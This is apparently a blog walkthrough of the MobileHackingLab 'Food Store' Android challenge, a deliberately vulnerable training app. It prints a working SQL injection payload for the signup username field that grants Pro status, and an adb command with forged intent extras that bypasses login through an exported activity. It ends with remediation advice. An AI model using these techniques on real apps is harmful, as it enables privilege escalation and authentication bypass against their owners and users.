Skip to main content

Command Palette

Search for a command to run...

MobileHackingLab: Food Store - SQL Injection Challenge

Updated
6 min read

This was another interesting challenge from MHL regarding SQL injection. (Spoiler Alert: there was more than sql injection in this challenge;p)

This is more like a walkthrough of the challenge.

This was the objective from MHL:

  • Exploit a SQL Injection Vulnerability: Your mission is to manipulate the signup function in the "Food Store" Android application, allowing you to register as a Pro user, bypassing standard user restrictions.

As soon as I got the apk, I started with JADX and started analyzing the AndroidManifest file

There were 3 activities

 <activity
            android:name="com.mobilehackinglab.foodstore.Signup"
            android:exported="false"/>
        <activity
            android:name="com.mobilehackinglab.foodstore.MainActivity"
            android:exported="true"/>
        <activity
            android:name="com.mobilehackinglab.foodstore.LoginActivity"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>

LoginActivity was the main launcher activity. Because the vulnerability was specified in Signup, I took a closer look at the Signup Activity

There was nothing interesting here, this is just a activity class, all the db related things were happening inside DB helper.

If you see in onCreate of Signup Activity you’ll see

DBHelper dbHelper = new DBHelper(this$0);
// other stuffs
dbHelper.addUser(newUser);

And this was the addUser function inside the DbHelper class

public final void addUser(User user) throws SQLException {
        Intrinsics.checkNotNullParameter(user, "user");
        SQLiteDatabase db = getWritableDatabase();
        byte[] bytes = user.getPassword().getBytes(Charsets.UTF_8);
        Intrinsics.checkNotNullExpressionValue(bytes, "this as java.lang.String).getBytes(charset)");
        String encodedPassword = Base64.encodeToString(bytes, 0);
        String Username = user.getUsername();
        byte[] bytes2 = user.getAddress().getBytes(Charsets.UTF_8);
        Intrinsics.checkNotNullExpressionValue(bytes2, "this as java.lang.String).getBytes(charset)");
        String encodedAddress = Base64.encodeToString(bytes2, 0);
        String sql = "INSERT INTO users (username, password, address, isPro) VALUES ('" + Username + "', '" + encodedPassword + "', '" + encodedAddress + "', 0)";
        db.execSQL(sql);
        db.close();
    }

This line in particular was interesting

String sql = "INSERT INTO users (username, password, address, isPro) VALUES ('" + Username + "', '" + encodedPassword + "', '" + encodedAddress + "', 0)";

It is taking user supplied input directly to SQL statements.

I then started crafting the payload

Payload Creation

Password and Address was being base64 encoded as base64 before inserting into db, while isPro was not user controlled. We are left out with Username.

Let’s use Username to inject SQLi Payload.

You could simplu craft this payload

sqli', 'aGVsbG8=', 'MQ==', 1); --
aGVsbG8= is hello in base64

Why encode password and address before inserting? This is because if you observe

public final User getUserByUsername(String Username) {
        Intrinsics.checkNotNullParameter(Username, "Username");
        SQLiteDatabase db = getReadableDatabase();
        Cursor cursor = db.query("users", new String[]{"id", "username", "password", "address", "isPro"}, "username = ?", new String[]{Username}, null, null, null);
        User user = null;
        if (cursor.moveToFirst()) {
            String encodedPassword = cursor.getString(cursor.getColumnIndexOrThrow("password"));
            String encodedAddress = cursor.getString(cursor.getColumnIndexOrThrow("address"));
            byte[] bArrDecode = Base64.decode(encodedPassword, 0);
            Intrinsics.checkNotNullExpressionValue(bArrDecode, "decode(...)");
            String decodedPassword = new String(bArrDecode, Charsets.UTF_8);
            byte[] bArrDecode2 = Base64.decode(encodedAddress, 0);
            Intrinsics.checkNotNullExpressionValue(bArrDecode2, "decode(...)");
            String decodedAddress = new String(bArrDecode2, Charsets.UTF_8);
            user = new User(cursor.getInt(cursor.getColumnIndexOrThrow("id")), Username, decodedPassword, decodedAddress, cursor.getInt(cursor.getColumnIndexOrThrow("isPro")) == 1);
        }
        cursor.close();
        return user;
    }

Here they decode the base64 to match password and also address, if it is not valid base64 the app will crash, raise an exception hence use valid base64 while inserting into db.

sqli', 'aGVsbG8=', 'MQ==', 1); --This payload is equivalent to saying created sqli user with password hello with isPro as 1.

You can see that in the signup activity, a toast appears when signup is completed

We can also confirm this using objection, that the signup has been successful, we now have user sqli with password hello

SQLite @ /data/data/com.mobilehackinglab.foodstore/databases/userdatabase.db > select * from users;
+----+----------+----------+----------+-------+
| id | username | password | address  | isPro |
+----+----------+----------+----------+-------+
| 1  | admin    | cGFzcw== | YWFhYQ== | 0     |
| 2  | hello    | d29ybGQ= | MQ==     | 0     |
| 3  | hello    | d29ybGQ= | MQ==     | 0     |
| 4  | sqli  | aGVsbG8= | 1        | 1     |
+----+----------+----------+----------+-------+
4 rows in set
Time: 0.001s
SQLite @ /data/data/com.mobilehackinglab.foodstore/databases/userdatabase.db >

Upon login you can observe

We have now bypassed the standard user restrictions and have gotten 10000 credits.

Any more vulnerabilities?

I was checking the manifest and caught my eye

<activity
            android:name="com.mobilehackinglab.foodstore.MainActivity"
            android:exported="true"/>

This mainActivity was exported meaning we can launch it using activity manager

adb shell am start -n com.mobilehackinglab.foodstore/.MainActivity

Starting: Intent { cmp=com.mobilehackinglab.foodstore/.MainActivity }

If you observe the app, you’ll see we are logged in as guest user with 0 credits

Let’s see how they handle Intents here.

Intent Handling in Exported MainActivity

protected void onCreate(Bundle savedInstanceState) {
        // ...
        String username = getIntent().getStringExtra("USERNAME");
        if (username == null) {
            username = "Guest";
        }
        this.userCredit = getIntent().getIntExtra("USER_CREDIT", 0);
        boolean isProUser = getIntent().getBooleanExtra("IS_PRO_USER", false);
        TextView textView = this.nameTextView;
        TextView textView2 = null;
        if (textView == null) {
            Intrinsics.throwUninitializedPropertyAccessException("nameTextView");
            textView = null;
        }
        textView.setText("Guest: " + username);
        TextView textView3 = this.creditsTextView;
        if (textView3 == null) {
            Intrinsics.throwUninitializedPropertyAccessException("creditsTextView");
            textView3 = null;
        }
        textView3.setText("Credits: " + this.userCredit);
        TextView textView4 = this.proUserTextView;
        if (textView4 == null) {
            Intrinsics.throwUninitializedPropertyAccessException("proUserTextView");
        } else {
            textView2 = textView4;
        }
        textView2.setText(isProUser ? "Pro User" : "Regular User");
        String stringExtra = getIntent().getStringExtra("USER_ADDRESS");
        if (stringExtra == null) {
            stringExtra = "Unknown address";
        }
        ///
    }

Interesting they do accept intents USERNAME, USER_CREDIT, IS_PRO_USER, USER_ADDRESS

Exploiting Exported Activity

We can use this to exploit the activity

adb shell am start -n com.mobilehackinglab.foodstore/.MainActivity
 \
∙ --es USERNAME helloworld \
∙ --ei USER_CREDIT 10000 \
∙ --ez IS_PRO_USER true \
∙ --es USER_ADDRESS "deliveryhere"

You can see that we are now logged in as helloworld by exploiting exported activity, bypassing the auth process.

Hence we were able to exploit two vulnerabilities

  1. SQL injection in signup

  2. Exported MainActivity bypass

Conclusion

This MHL Food Store challenge demonstrated how multiple vulnerabilities can compound to compromise an application's security. We exploited two distinct attack vectors:

SQL Injection in User Registration: By manipulating the username field during signup, we bypassed the isPro restriction through a carefully crafted payload that closed the VALUES clause early and injected our own isPro value. The key insight was ensuring our injected password and address fields used valid base64 encoding to prevent crashes during the subsequent decode operation in getUserByUsername().

Exported Activity Exploitation: The MainActivity's exported status combined with unvalidated Intent extra handling allowed us to completely bypass the authentication flow. By crafting Intent extras with arbitrary USERNAME, USER_CREDIT, and IS_PRO_USER values, we gained full Pro user access without even touching the database.

Key Takeaways

  • Always use parameterized queries (PreparedStatements) for SQL operations - the query() method showed the right approach with ? placeholders

  • Never mark activities as exported unless absolutely necessary, and always validate Intent data

  • Defense in depth matters - fixing just the SQL injection wouldn't have prevented the Intent-based bypass

Both vulnerabilities stemmed from trusting user-controlled input without proper validation. A seemingly simple food ordering app revealed how attack surface expands when multiple security oversights combine.